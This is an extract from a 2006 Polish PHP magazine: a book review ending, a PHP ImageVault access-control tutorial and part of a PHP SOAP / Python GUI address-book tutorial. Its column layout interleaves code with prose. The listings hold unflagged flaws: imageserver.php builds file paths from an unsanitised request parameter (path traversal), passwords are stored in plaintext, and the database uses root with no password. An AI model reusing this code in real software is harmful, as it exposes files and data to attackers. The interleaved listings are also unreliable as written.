do jakiej książka należy, spodziewałem się, że już w pierwszym punkcie ujrzę recepturę która z miejsca powali mnie na
kolana. Niestety tak się nie stało.
Książka napisana została jako pozycja, którą czytać należy w jedyny słuszny sposób: od pierwszego rozdziału,
traktującego o sprawach w niektórych przypadkach wręcz banalnych, do ostatniego, zawierającego już naprawdę roz-
budowane receptury. Każdą z receptur zorganizowano w standardowej formie, z jaką często pracują programiści. Au-
torzy stawiają problem do rozwiązania, a następnie przedstawiają jego analizę i rozwiązanie. Pozwala to w pełni zrozu-
mieć poszczególne receptury - bez konieczności zaglądania na inne strony w poszukiwaniu powiązanych zagadnień,
które pomogłyby w zrozumieniu danego problemu (choć odniesienia do zagadnień poruszanych w innych działach zda-
rzają się w listingach).
Na koniec zostawiłem coś, co uważam za poważną wadę dla każdego, kto będzie chciał w praktyce wykorzystać
choćby fragmenty przykładów zaprezentowanych w książce. Zapoznałem się ze wszystkimi recepturami i zauważyłem,
że w niektórych przypadkach listingi dołączone do rozdziałów przekraczały aż cztery strony! W przypadku pro-
stych receptur rozwiązujących pojedyncze problemy przepisanie całego kodu nie powinno sprawić czytelniko-
wi większego problemu. Kiedy jednak mamy do czynienia z kodem aplikacji będącej „Centrum Teleczatu i Wia-
domości Wideo” o dosyć dużej złożoności, umieszczenie kodu na płycie, bądź innym nośniku jest rozwiąza-
niem wręcz wymaganym, a na pewno o wiele bardziej trafnym niż druk.
Niemniej jednak muszę przyznać, że wszystkie receptury zawarte w recenzowanej książce Joey’a Lott’a są na-
prawdę solidnie przygotowane i faktycznie rozwiązują wiele problemów, na jakie developer flash’a może natknąć
się podczas codziennej pracy. Jednak osoby, które zajmują się tworzeniem aplikacji we flash’u profesjonalnie, mo-
gą poczuć niedosyt po lekturze tej pozycji.
Ogólnie mogę polecić tę książkę zarówno początkującym jak i zaawansowanym (ale nie profesjonalnym) użyt-
kownikom pakietu Macromedii, a niedługo już Adobe.
Bartłomiej Wereszczyński
Projekty ImageVault

rzenia MOUSEDOWN i MOUSEUP. Funkcja bę-


Listing 5. Skrypt udostępniający pliki graficzne (plik imageserver.php) dzie sprawdzać, który przycisk myszy zo-
stał naciśnięty, a w przypadku stwierdzenia
<?php
/* Pat OBrien, 10 stycznia 2006 */ naciśnięcia przycisku 2 lub 3 wyświetli po-
// Ustala rozszerzenie pliku wiadomienie informujące o wyłączeniu ob-
function get_extentsion($instr) { sługi prawego przycisku myszy.
$instr = trim($instr);
if (strlen($instr)<1) {return "gif";}
$type = strtolower(substr(strrchr($instr,"."),1));
Dodawanie obrazów
return $type; Wszystko gotowe – pozostaje już tylko
} dodać pliki graficzne, które będą wyświe-
// Zapisuje komunikat o błędzie do pliku tlane na stronie. Znacznik <img> każde-
function write_error_log($filename) { go obrazu będzie zawierał odwołanie do
// Otwarcie lub utworzenia pliku ../imagevault/errorlog.txt
skryptu imageserver.php, co będzie wy-
$efp = fopen('../imagevault/errorlog.txt', 'a');
// Utworzenie komunikatu o błędzie i zapisanie go do pliku glądało mniej więcej tak:
$errormessage = "Błąd: Nie można otworzyć pliku - ".$filename;
fwrite($efp, $errormessage); <img src="imageserver.php?filename=
fclose($efp); image1.gif" width="200"
return;
height="100">
}
/* -------------------- Część główna ----------------- */
session_start(); Teoretycznie wystarczy więc odpowiednio
$validuser = $_SESSION['validuser']; podmienić nazwę pliku i rozmiary obrazu.
if ($validuser == 10) { Nie jest to oczywiście zadanie trudne, ale
$filename = $_REQUEST["filename"];
przy galeriach liczących setki zdjęć ręcz-
// Pobranie z żądania nazwy pliku graficznego
$ext = get_extentsion($filename); ne wprowadzanie znaczników jest zaję-
// Pobranie rozszerzenia pliku ciem żmudnym i podatnym na błędy. Z te-
$fullpath = "../imagevault/".$filename; go też względu utworzymy skrypt pomoc-
// Dodanie pełnej ścieżki do pliku niczy, który odczyta nazwy plików z kata-
$fp = fopen($fullpath, 'rb');
logu imagevault i automatycznie wygene-
// Tryb binarny tylko do odczytu
if (!$fp) { // Zapisanie w logu komunikatu o nieudanej próbie otwarcia pliku ruje kod odpowiednich znaczników <img>,
write_error_log($filename); który użytkownicy będą mogli po prostu
print (" "); skopiować i wkleić na stronę. Kod skryp-
}else { // Odesłanie klientowi poprawnie odczytanego pliku tu zawiera plik linkgen.php (Listing 7),
// Ustawienie odpowiednich nagłówków
umieszczony w katalogu public_html.
$h1 = "Content-Type: image/".$ext;
header($h1);
header("Content-Length: ".filesize($fullpath)); Przygotowanie systemu
// Zrzut pliku i zakończenie skryptu. Funkcja fpassthru() sama zamknie Gdy mamy już wszystkie skrypty (in-
// plik po zakończeniu działania, więc nie trzeba wywoływać fclose() dex.php, main.php, imageserver.php, lo-
rewind($fp);
goff.php i linkgen.php), musimy je umie-
fpassthru($fp);
} ścić w katalogu public_html, a następ-
}else { print (" "); } nie utworzyć katalog imagevault na tym
// Użytkownik nieautoryzowany – odesłanie spacji samym poziomie, co public_html. Potem
exit; bierzemy dowolne dwa obrazy (na przy-
?>
kład image1.gif i image2.gif) i umiesz-
Listing 6. Kod JavaScriptu wyłączający obsługę prawego przycisku myszy czamy je w katalogu imagevault. Musimy
jeszcze dodać nowego użytkownika po-
<head><script language="JavaScript1.1"> przez utworzenie pliku users.txt w kata-
function rightmouse(e) {
if (navigator.appName == 'Netscape' && (e.which == 3 || e.which == 2))
return false;
else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button
== 2 || event.button == 3)) { alert("Obsługa prawego przycisku myszy jest
wyłączona.");
return false; }
return true;
}
document.onmousedown=rightmouse; document.onmouseup=rightmouse;
if (document.layers) window.captureEvents(Event.MOUSEDOWN);
if (document.layers) window.captureEvents(Event.MOUSEUP);
window.onmousedown=rightmouse; window.onmouseup=rightmouse;
</script></HEAD>
Rysunek 1. Struktura plików systemu
ImageVault

60 www.phpsolmag.org PHP Solutions Nr 3/2006


ImageVault Projekty

logu obrazów i zapisanie w nim wiersza o tyczna strona główna. W katalogu image- <h1>Witamy na naszej stronie!</h1>
treści testuser|pass. vault tworzymy plik o następującej treści: <a href="pictures.htm">
Ostatni etap to utworzenie dwóch testo- Kliknij tutaj, by zobaczyć zdjęcia</A>
wych stron HTML. Pierwszą jest wspomnia- <html> </body>
na wcześniej strona index.html, czyli fak- <body bgcolor="#FFFFFF"> </html>

Listing 7. Skrypt linkgen.php generujący kod HTML ze znacznikami <img> do- Ostatnim plikiem jest strona galerii pictu-
stępnych obrazów res.html (Listing 8), również zapisana w
katalogu public_html.
<?php
/* Pat OBrien, 1 lutego 2006
require_once "showloginpage.php";
*/
Próba generalna
function isimage($instr) { // Ustalenie rozszerzenia pliku Skoro wszystko jest już gotowe, po-
$isimage = false; ra wypróbować nasz system: otwie-
$instr = trim($instr); ramy przeglądarkę i wpisujemy adres
if (strlen($instr)<1) {return false;} strony pictures.html. Powinna się po-
$type = strtolower(substr(strrchr($instr,"."),1));
kazać strona zawierająca dwie iko-
if ( strcmp("gif", $type)==0 ) {$isimage = true;}
if ( strcmp("png", $type)==0 ) {$isimage = true;} ny nieistniejących obrazów, czyli do-
if ( strcmp("jpg", $type)==0 ) {$isimage = true;} kładnie to, o co nam chodziło – aby
if ( strcmp("jpeg", $type)==0 ) {$isimage = true;} zobaczyć obrazy, trzeba się zalogo-
if ( strcmp("bmp", $type)==0 ) {$isimage = true;} wać. Otwieramy więc stronę index.php
return $isimage; }
i wprowadzamy testowy login i hasło
/* --------------- Część główna ------------------------------ */
session_start(); (testuser i pass) w formularzu logowa-
$validuser = $_SESSION['validuser']; nia. W efekcie powinna zostać wyświe-
if ($validuser == 10) { tlona strona index.html. Kliknięcie jedy-
$content = "<html><body bgcolor='#FFFFFF'>\n". nego dostępnego odsyłacza przenie-
"<table width='800' border='0' cellspacing='0' cellpadding='5'>\n".
sie nas na stronę pictures.html: tym ra-
" <tr bgcolor='#006666'>\n<td><font face='Arial, Helvetica, sans-serif'
" size='2' color='#CCFFFF'>Nazwa pliku graficznego</font></td>\n". zem obrazy powinny być wyświetlane
" <td><font face='Arial, Helvetica, sans-serif' size='2' color='#CCFFFF'> poprawnie.
Kod HTML obrazu</font></td>\n</tr>\n";
// Pobranie listy nazw udostępnianych plików graficznych Podsumowanie
if ($handle = opendir('../imagevault/')) {
Jak widać, kontrolowanie dostępu do
while (false !== ($file = readdir($handle))) {
$file = basename(trim($file)); wybranych plików za pomocą skryp-
if (isimage($file)) { tu PHP na serwerze jest proste i szyb-
$fullpath = "../imagevault/".$file; kie. Nie trzeba korzystać z rozbudowa-
$size = getimagesize($fullpath); nych systemów kontroli dostępu tylko
if ($size) {
po to, by chronić wybrane pliki na wła-
// Utworzenie znacznika <img> dla bieżącego pliku
$imgtag = "<IMG SRC=\"imageserver.php?filename=".$file."\" snej stronie domowej czy na witrynie
WIDTH=\"".$size[0]."\"HEIGHT=\"".$size[1]."\">"; klubowej. Przedstawiony system może
// Utworzenie wpisu w tabeli dla bieżącego pliku posłużyć za podstawę dla bardziej za-
$content .= " <tr bgcolor='#EEEEEE'>\n". awansowanych rozwiązań, uwzględnia-
"<td><font face='Arial, Helvetica, sans-serif' size='2'>".$file.
jących na przykład automatyczną reje-
"</font></td>\n<td><font face='Arial, Helvetica, sans-serif'
"size='2'>\n<input type='text' name='imgtag' size='100' strację i usuwanie użytkowników, zróż-
maxlength='160' value='".$imgtag."'>\n</font></td></tr>\n"; nicowane poziomy dostępu i wszelkie
} } } inne operacje, jakie mogą być potrzeb-
$content .= "</table></body></html>\n"; ne. Tak czy inaczej, pamiętajmy za-
closedir($handle); }
wsze, że kluczem do sukcesu projektów
print $content; // Wypisanie plików z kodem odpowiednich znaczników <img>
}else { print(showLoginPage()); } // Użytkownik nieautoryzowany programistycznych jest ich jak najwięk-
exit; sza prostota. n
?>

Listing 8. Kod pliku pictures.html

<html>
<body bgcolor="#FFFFFF"> O autorze
<h1>Our Pictures</h1>
<img src="imageserver.php?filename=image1.gif" width="200" height=”100”> Patrick O’Brien jest założycielem i twór-
<br><br> cą serwisu Jpowered.com (http://www.
<img src="imageserver.php?filename=image2.gif" width="200" height=”100”> jpowered.com), dostarczającego zaawan-
</body> sowane rozwiązania dla twórców witryn in-
</html> ternetowych i programistów.

PHP Solutions Nr 3/2006 www.phpsolmag.org 61


Projekty

Mariaż Pythona i PHP.


Tworzymy interfejs graficzny
z wykorzystaniem SOAP
Stopień trudności: 
Krzysztof Sobolewski

Każdy język ma swoje mocne strony: PHP


słynie z oprogramowania serwerowego, Python
– z możliwości łatwego tworzenia
rozbudowanych aplikacji klienckich,
wyposażonych w graficzny interfejs
użytkownika (GUI). Łacząc możliwości obu
języków, dzięki protokołowi SOAP, w prosty
sposób otrzymamy potężną i funkcjonalną
aplikację typu klient-serwer.

W
yobraźmy sobie książkę tele- w Pythonie z użyciem wxWidgets.
adresową, w której będziemy
przechowywali dane o namia- Podstawowe założenia
rach znajomych czy kontrahentów. Chcie- Nasz system będzie się składał z następu-
libyśmy, aby informacje były gromadzone jących elementów:
w bazie danych na serwerze i udostępnia-
ne przez skrypt PHP-owy. Załóżmy że nie • bazy danych – w niej będziemy skła-
chcemy jednak korzystać z interfejsu we- dować dane książki teleadresowej,
bowego: znacznie bardziej wolimy wygo- • silnika (engine) – będzie się on znaj-
dę i funkcjonalność graficznych interfej- dował po stronie serwera i odpowiadał
sów okienkowych pod Windowsem czy Li- wyłącznie za obsługę danych książki
W SIECI nuksem. Z pomocą przychodzą nam usłu-
gi sieciowe (ang. Web Services), zwa-
ne też usługami sieciowymi, umożliwiają-
Co należy wiedzieć...
1. http://www.python.org/ Powinieneś znać model obiektowy i wy-
– oficjalna strona Pythona ce prostą do zorganizowania komunika- jątki w PHP5 oraz w Pythonie. Przydatna
2. http://phplens.com/ cję pomiędzy klientem a serwerem. Pisa- będzie wiedza na temat wxWidgets, pro-
phpeverywhere/?q=node/ tokołu SOAP i formatu XML.
liśmy już o nich w paru artykułach (Google
view/185
– Python kontra PHP API, XUL).
3. http://wiki.w4py.org/python-
vs-php.html
Jednym z najpopularniejszych protoko- Co obiecujemy...
– Python kontra PHP łów usług sieciowych jest SOAP. Przy jego Po przeczytaniu artykułu będziesz wie-
4. http://www.opensourcetutori pomocy połączymy zainstalowaną na ser- dział jak zbudować aplikację klient-ser-
als.com/tutorials/Server- wer w oparciu o protokół SOAP, gdzie
Side-Coding/Python/ werze, korzystającą z bazy danych aplika-
po stronie serwera jest skrypt PHP, nato-
– tutoriale dla Pythona cję PHP-ową z działającym na komputerze miast klient jest napisany w Pythonie.
klienta interfejsem użytkownika napisanym

62 www.phpsolmag.org PHP Solutions Nr 3/2006

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 62 2006-04-05, 12:21:13


Mariaż Pythona i PHP Projekty

teleadresowej: ich zwracanie, doda-


wanie, usuwanie i modyfikację; będzie Wymagania i instalacja
też sprawdzał uprawnienia użytkowni- Potrzebujemy PHP 5.1, m.in. ze względu na PDO, które powinno być załączone w dystry-
ka do wykonania określonej operacji bucji.
na danych, SOAP powinno również być dostępne w dystrybucji PHP, ale jeżeli kompilujemy parser,
musimy użyć opcji --enable-soap. Dodatkowo, będziemy potrzebowali GNOME XML Li-
• interfejsu silnik-SOAP – jego miejsce brary (libxml) w wersji co najmniej 2.5.4. W bloku extension pliku php.ini musi znajdować
również jest po stronie serwera; bę- się odwołanie do soap.so lub php_soap.dll. Potrzebujemy też Pythona w wersji 2.4. Inter-
dzie on organizował komunikację po- preter powinien być obecny w większości systemów Uni*owych, w tym dystrybucji Linuk-
między silnikiem, a aplikacją kliencką, sa. Wersja pod Windows jest wyposażona w prosty instaler.
Do zestawu pythonowego dodamy też wxWidgets (dawniej wxWindows), które możemy
przetwarzał format danych pomiędzy pobrać spod adresu http://wxpython.org. W obecnej wersji, dystrybucja jest rozdzielona na
XML a tablicą, itd, runtime (tego potrzebujemy) oraz dema i dokumentacje, które są przydatne, acz niewyma-
• interfejsu SOAP-GUI – będzie on czę- gane. W wersji pod Linuksa, wxPython wymaga dodatkowo bibliotek glib i gtk+.
ścią aplikacji klienckiej i, analogicznie Będziemy też potrzebowali biblioteki SOAPpy, zapewniającej obsługę SOAP pod Pytho-
nem. Ona z kolei wymaga pyxml oraz fpconst, które należy zainstalować w pierwszej ko-
jak interfejs silnik-SOAP, będzie odpo- lejności, później pobieramy i instalujemy bibliotekę SOAPpy. Instalacja rozszerzeń pytho-
wiadał za komunikację pomiędzy inter- nowych przeprowadzana jest za pomocą poleceń: python setup.py build oraz python
fejsem graficznym (GUI) a oprogramo- setup.py install
waniem serwera. Po zainstalowaniu wszystkich elementów nasz zestaw jest gotowy do pracy.
• interfejsu graficznego (GUI) – za je-
go pomocą użytkownik będzie prze-
glądał dane oraz wydawał polecenia Listing 1. Konstruktor silnika – to tu odbywa się inicjalizacja bazy danych
(pobierz, skasuj, aktualizuj, dodaj do
public function __construct(){
bazy) interfejsowi SOAP-GUI, który
$this->msg='todoListEngine is ready';
zajmie się ich dalszym przekazywa- try{
niem. $this->db = new PDO('mysql:host=localhost;dbname=test', 'root', '');
// bardzo ważny atrybut – dzięki niemu PDO wyrzuca wyjątek zamiast
Wzajemne interakcje tych elementów // FATAL ERROR
$this->db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
przedstawiamy na Rysunku 1. Typowa
}catch (Exception $e){ return $this->errorArray("ERROR_NO_CONNECTION"); }
sytuacja wygląda następująco: na żąda- }
nie użytkownika, klient chce pobrać li-
stę wszystkich rekordów, więc przekazu- Listing 2. Metody narzędziowe, zwracające tablicę asocjacyjną zawierającą wy-
je żądanie do interfejsu SOAP-GUI, który niki, komunikat lub informację o błędzie
z kolei zapisuje je w postaci XML i prze-
private function resultArray($data){
syła do aplikacji na serwerze. Tam żą- return array('data_type'=>'entries','data_rows'=>$data);
danie jest odbierane przez interfejs sil- }
nik-SOAP, konwertowane z XML-a na ta- private function msgArray($msg){
blicę i przekazywane silnikowi, który po- return array('data_type'=>'messages','data_rows'=>array(0=>array('msg'=>
$msg)));
biera dane z bazy. Następnie, odpowiedź
}
silnika trafia do interfejsu silnik-SOAP, private function errorArray($errorMsg){
gdzie jest przekształcana na XML i wy- return array('data_type'=>'errors','data_rows'=>array(0=>array('error'=>
syłane do aplikacji klienckiej, gdzie zno- $errorMsg)));
wu podlega zamianie na tablicę (a raczej }

słownik, gdyż tak nazywa się tablica aso-


Listing 3. getDataFromSRC – główna metoda do pobierania danych z bazy
cjacyjna w Pythonie), która jest przeka-
zywana do interfejsu graficznego i ew. private function getDataFromSRC($userName,$pass,$query,$queryParams=array()
wyświetlana. {
Silnik oraz interfejs SOAP stworzy- try{
$a=$this->checkConnection();
my pod PHP5, korzystając z PDO, kla-
$a=$this->checkLogin($userName,$pass);
sy SoapServer, poprawionego modelu $stmt=$this->db->prepare($query);
obiektowego i wyjątków. Natomiast apli- foreach($queryParams as $i=>$j){ $stmt->bindValue(":".$i,$j); }
kację kliencką napiszemy w Pythonie $stmt->execute();
(wersja 2.4), używając wxWidgets (in- $resultArray=$stmt->fetchAll(PDO::FETCH_ASSOC);
return $this->resultArray($resultArray);
terfejs graficzny), wbudowanych funkcji
}catch (Exception $e){ return $this->handleExceptions($e,
XML-owych oraz rozszerzenia SOAPpy. "ERROR_GET_FAILED");}
Wybraliśmy wxWidgets, gdyż jest to na- }
rzędzie rozbudowane, a zarazem prze- }
nośne, działające zarówno pod Linuk-
sem, jak i Windowsem czy MacOS-em.

PHP Solutions Nr 3/2006 www.phpsolmag.org 63

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 63 2006-04-05, 12:21:21


Projekty Mariaż Pythona i PHP

Tworzymy silnik
Przejdźmy teraz do tworzenia naszej apli- Podstawowe różnice pomiędzy Pythonem a PHP
kacji, zaczynając od silnika. Wykonanie
• brak średników między poleceniami (np. na końcach wiersza),
dowolnej operacji na danych będzie wy- • o składni decydują wcięcia – trzeba się ich trzymać co do kolumny w każdym bloku,
magało autoryzacji (którą będzie spraw- bo inaczej parser zwróci Syntax Error. Bloki otwieramy przez dwukropek i nie zamy-
dzał silnik) poprzez każdorazowe przesła- kamy,
• kropka służy jako separator pomiędzy obiektem a metodą lub atrybutem, a nie do łą-
nie hasła i loginu. Wszelkie błędy w dzia-
czenia łańcuchów (którego dokonujemy przy użyciu znaku +),
łaniu silnika zostaną obsłużone przez sys- • tablice asocjacyjne – w Pythonie występują dwa najprostsze rodzaje tablic: lista in-
tem wyjątków (exceptions). deksowana (list, której ogranicznikami są nawiasy kwadratowe []) oraz oparty na
Nasz silnik będzie miał postać klasy kluczach słownik (dictionary, dict, którego ogranicznikami są nawiasy klamrowe {}).
Można łączyć oba typy, tzn. w listach zawierać słowniki i vice versa,
book_engine.
• w klasach nie ma podziału na metody publiczne i prywatne,
Zacznijmy od zdeklarowania pu- • nazwy zmiennych w Pythonie nie zaczynają się od znaku $,
blicznych i prywatnych zmiennych klasy: • funkcje i metody deklarujemy przy użyciu instrukcji def, konstruktor klasy to _ _
$db (handler bazy danych), $required- init _ _ (),
• wewnątrz klasy na utworzony obiekt wskazuje zmienna self, nie $this.
Fields (zestaw pól wymaganych pod-
czas dodawania danych do bazy),
$requiredFieldsUpdate (pola wymaga- Zwróćmy też uwagę na wywoła- kwerendę ($query) oraz opcjonalnie para-
ne przy aktualizacji danych w bazie) oraz nie funkcji errorArray: jest to prywatna metry kwerendy ($queryParams).
$msg (komunikat zwracany przez silnik, wy- metoda klasy book_engine, której zada- Następnie w bloku try..catch spraw-
korzystywany przez klienta w celu spraw- niem jest zwracanie błędów w postaci dzamy, czy zostało nawiązane połączenie
dzenia, czy silnik działa). Teraz przejdzie- tablicy przygotowanej do późniejszego oraz, czy użytkownik został poprawnie zalo-
my do metod, zaczynając od konstruktora przekształcenia na XML. Na Listingu 2 gowany. Dokonamy tego za pomocą dwóch
(Listing 1). To tutaj zainicjujemy bazę da- widzimy tę funkcję obok resultArray metod narzędziowych: checkConnection()
nych, tworząc obiekt $this->db klasy PDO. i msgArray, odpowiadających za zwra- oraz checkLogin() (Listing 4), które w ra-
Operacja ta wymaga podania adresu ser- canie wyników operacji bazodanowych zie niepowodzenia wyrzucą wyjątek. Ob-
wera, nazwy bazy, loginu i hasła (to ostat- oraz komunikatów innych, niż infor- sługą wyjątków zajmie się prywatna meto-
nie nie jest obowiązkowe, można zosta- macje o błędach. W każdym przypad- da klasy book_engine, handleExceptions().
wić puste pole). Następnie ustawimy (se- ku, tablica wygląda tak samo: różni się Takie użycie wyjątków jest sensowne i nie
tAttribute) atrybut PDO::ATTR_ERRMODE tej jedynie elementem określającym typ jest przesadą, gdyż każda niemożność wy-
klasy: odpowiada on za sposób traktowa- zwracanych danych (entries – wyniki, konania operacji przez aplikację serwerową
nia błędów w działaniu interfejsu PDO, ta- errors – błędy i messages – komunika- dla klienta jest po prostu błędem, niezależ-
kich jak np. brak połączenia z serwerem ty), na podstawie którego klient będzie nie od źródła tego błędu. Wyjątki zapewnia-
bazodanowym czy błędna składnia kwe- później oceniał, jakiego typu informacja ją możliwość kontrolowania wszelkich sytu-
rendy. Chcemy, aby wszelkie problemy do niego dotarła. acji tego rodzaju w dwóch czytelnych blo-
tego rodzaju były obsługiwane poprzez kach, bez zaciemniania kodu dziesiątkami
zgłaszanie wyjątku, więc ustawimy PDO:: Pobieranie danych z bazy dodatkowych konstrukcji typu if..else czy
ATTR_ERRMODE na PDO::ERRMODE_EXCEPTION. Potrzebujemy teraz metody pozwalającej switch().
Co więcej, całą operację inicjalizacji ba- na pobieranie danych z bazy: określone- Jeżeli zarówno połączenie, jak i logo-
zy danych i ustawienia tego parametru uj- go rekordu (wg ID) lub wszystkich rekor- wanie odbyły się poprawnie, przechodzi-
miemy w bloku try...catch: w razie wy- dów. Nasza metoda będzie się nazywa- my do wysyłania kwerendy. Skorzystamy
stąpienia błędu, funkcja zwróci komunikat ła getDataFromSRC() i będzie przyjmowała w tym celu ze świetnej możliwości ofero-
ERROR_NO_CONNECTION, który może później następujące parametry (Listing 3): nazwę wanej także przez PDO, nazywanej pre-
zostać obsłużony przez klienta. użytkownika ($userName), hasło ($pass), pared statements (pisaliśmy o niej sze-
rzej w „PDO – przyszły standard dostępu
do baz danych” PHP Solutions 5/2005).
Prepared statements ułatwiają tworzenie
kwerendy, zastępując tradycyjne, polega-
baza
jące na łączeniu łańcuchów metody wpi-
danych
sywania parametrów poprzez tworzenie
interfejs interfejs pewnego rodzaju szablonów zapytania,
silnik SOAP- GUI
GUI
gdzie za pomocą specjalnych odnośni-
SOAP SOAP
ków (rozpoczynających się przeważnie od
silnik dwukropka) przekazujemy do zapytania
aplikacji zmienne lub ich wartości. Zalety prepared
statements nie kończą się jednak na uła-
twianiu programowania: ich użycie powo-
SERWER KLIENT duje również automatyczne i odpowiednie
dla danego typu bazy danych eskejpowa-
Rysunek 1. Schemat działania systemu książki teleadresowej nie znaków (ang. character escaping), co

64 www.phpsolmag.org PHP Solutions Nr 3/2006

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 64 2006-04-05, 12:21:23


Mariaż Pythona i PHP Projekty

chroni nas przed atakami SQL Injection Każdy wiersz tablicy musi zawierać klucze ment z poleceniem INSERT i parametrami
oraz zniesienie konieczności wpisywa- o nazwach odpowiadających polom tabeli odpowiadającymi nazwom pól z $this-
nia cudzysłowów lub apostrofów w samej bazodanowej book – będzie to sprawdza- >requiredFields, po czym zostanie wy-
kwerendzie, co umożliwia bezproblemo- ne przy użyciu prywatnej metody narzę- konana kwerenda. W przypadku udanego
we przekazywanie danych zawierających dziowej checkRequiredFields(), wyrzuca- dodania rekordu metoda zwróci komunikat
te znaki w dowolnym układzie. jącej w razie błędu wyjątek z komunikatem OK_ADDED_DATA, lub ERROR_ADD_FAILED w
Aby utworzyć nowy prepared sta- ERROR_BAD_DATA. Warto pamiętać, iż meto- razie niepowodzenia. W tym drugim przy-
tement o nazwie $stmt, użyjemy meto- da ta sprawdza jedynie pola zdeklarowane padku otrzymamy również bardziej szcze-
dy prepare() naszego obiektu $this->db. w tablicy $this->requiredFields, wśród gółowy komunikat (np. ERROR_BAD_DATA),
Określimy w niej podstawową formę kwe- których nie znajduje się ID – nie ma więc następujący po ERROR_ADD_FAILED i oddzie-
rendy (szablon). Następnie, w pętli foreach znaczenia, czy zestaw danych przekazy- lony od niego znakiem =. Metoda jest go-
odczytamy kolejne parametry, jeżeli zosta- wanych do addDataToSRC() zawiera tako- towa.
ły one zdefiniowane w ostatnim, opcjonal- wy atrybut, czy nie. Następnie, dla każde- Analogicznie do getDataFromSRC(),
nym argumencie getDataFromSRC(). Ar- go wersu tworzony będzie prepared state- addDataToSRC() jest metodą prywatną
gument ten jest tablicą asocjacyjną, za-
wierającą klucze (na ich podstawie stwo-
Listing 4. Metody narzędziowe, sprawdzające połączenie (checkConnection())
rzymy nazwy odnośników, o których mó-
i zalogowanie (checkLogin) oraz metoda obsługująca wyjątki (handleExceptions())
wiliśmy) oraz wartości, które przypiszemy
do prepared statement używając metody private function checkConnection(){
bindValue() obiektu $stmt. if(!isset($this->db)) { throw new Exception ('ERROR_NO_CONNECTION'); }
}
Gotowy statement wykonamy używa-
private function checkLogin($userName,$pass){
jąc $stmt->execute(), a następnie przy ...
pomocy $stmt->fetchAll() odczytamy
wyniki (PDO::FETCH_ASSOC – w posta- Listing 5. Metody getOneEntry() oraz getAllEntries(), przekazujące odpowiednią
ci tablicy asocjacyjnej). kwerendę do getDataFromSRC()
Jeżeli wszystko przebiegło poprawnie,
public function getOneEntry($userName,$pass,$id){
funkcja zwróci tablicę wyników (resultAr- $query="SELECT * from book WHERE id=:id";
ray()), a jeżeli wystąpił błąd, zwrócony zo- $entries=$this->getDataFromSRC($userName,$pass,$query,array('id'=>$id));
stanie komunikat błędu ERROR_GET_FAILED. return $entries;
Zauważmy, że getDataFromSRC() jest }
public function getAllEntries($userName,$pass){
metodą prywatną. Jest to celowe i wynika
$query="SELECT * from book";
ze względów bezpieczeństwa: wszak prze- ...
kazujemy do niej kwerendę i nie chcemy,
aby można było to zrobić np. za pomocą Listing 6. addDataToSRC – metoda służąca dodawaniu nowych rekordów do ba-
interfejsu silnik-SOAP. Kwerendy będziemy zy oraz jej interfejs, addEntry()
przekazywać przy użyciu publicznych me-
private function addDataToSRC($userName,$pass,$data){
tod getAllEntries() oraz getOneEntry() try{
(Listing 5), które będą zwracały wszystkie $a=$this->checkConnection();
pozycje z tabeli bazodanowej lub jedną wy- $a=$this->checkLogin($userName,$pass);
braną. Pierwsza z tych metod wymaga po- foreach($data as $i){
// iteruj wszystkie rzędy tablicy, które będą dodane (zwykle jest 1)
dania jedynie loginu i hasła, podczas gdy
$a=$this->checkRequiredFields($i);
druga potrzebuje także ID wybranego re- $stmt=$this->db->prepare("INSERT INTO book ".
kordu. ...
}
Dodawanie nowych rekordów // end of $i foreach
return $this->msgArray("OK_ADDED_DATA");
Stworzymy teraz metodę addDataToSRC(),
}catch (Exception $e){ return $this->handleExceptions
(Listing 6), która będzie odpowiadała za ($e,"ERROR_ADD_FAILED"); }
dodawanie nowych rekordów do bazy. }
Przyjmuje ona 3 parametry: login, hasło public function addEntry($userName,$pass,$data){
i dane do wstawienia, a swoje działanie $result=$this->addDataToSRC($userName,$pass,$data);
return $result;
rozpoczyna od sprawdzania poprawności
}
połączenia i zalogowania. private function checkRequiredFields($data,$action='add'){
Przejdźmy teraz do przetwarza- if($action=='add') { $requiredFields=$this->requiredFields; }
nia przekazanych danych: metoda if($action=='update') { $requiredFields=$this->requiredFieldsUpdate; }
addDataToSRC() pozwala na dodanie jed- foreach($requiredFields as $i){
if(!isset($data[$i])) { throw new Exception ('ERROR_BAD_DATA'); }
nego lub więcej rekordów za jednym wy-
}
wołaniem; w obu przypadkach przekazuje- return true;
my tablicę pozycji do wstawienia, która na- }
stępnie będzie iterowana w pętli foreach.

PHP Solutions Nr 3/2006 www.phpsolmag.org 65

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 65 2006-04-05, 12:21:24


Projekty Mariaż Pythona i PHP

– dane przekazujemy przy użyciu publicz- Warto też zauważyć, że check- prywatną metodę deleteEntryFromSRC()
nej metody addEntry(), która przyjmuje ta- EntryExists() nie korzysta z metody (Listing 9) oraz publiczną deleteEntry().
kie same parametry, jak addDataToSRC(). getDataFromSRC() – jest to celowe, aby nie Metoda deleteEntryFromSRC() przyjmuje
wiązać prostej metody narzędziowej, jaką login, hasło oraz pojedyncze ID – pozwa-
Aktualizacja danych jest checkEntryExists(), z rozbudowaną la więc na skasowanie tylko jednego re-
Do aktualizacji rekordów naszej książ- metodą odczytu danych. Prawie identycz- kordu na raz, co jest celowe, gdyż zwięk-
ki teleadresowej posłuży metoda upda- nie, jak w przypadku addDataToSRC(), wy- sza bezpieczeństwo danych. Podobnie,
teDataInSRC() (Listing 7). Generalnie, gląda natomiast tworzenie prepared state- jak poprzednia metoda (updateDataIn-
większość jej kodu jest bardzo podobna ment, z jedną zasadniczą różnicą: tu uży- SRC()), deleteEntryFromSRC() sprawdza
do addDataToSRC(). Różnice pojawiają wamy polecenia SQL-owego UPDATE, a nie połączenie, zalogowanie i występowanie
się w przypadku zestawu wymaganych INSERT. Zwracanym przez tę funkcję komu- pozycji w tabeli bazodanowej, a następnie
pól – ten dla aktualizacji będzie zawierał nikatem o pomyślnym zakończeniu opera- sporządza i wykonuje prepared statement.
również ID rekordu i zostanie określony cji jest natomiast OK_UPDATED_DATA, a o nie- W przypadku powodzenia operacji meto-
w tablicy $this->requiredFieldsUpdate. powodzeniu – ERROR_UPDATE_FAILED. da zwraca OK_DELETED_DATA, a w razie nie-
Drugą istotną różnicą jest to, że Podobnie, jak addDataToSRC(), update- powodzenia – ERROR_DELETE_FAILED.
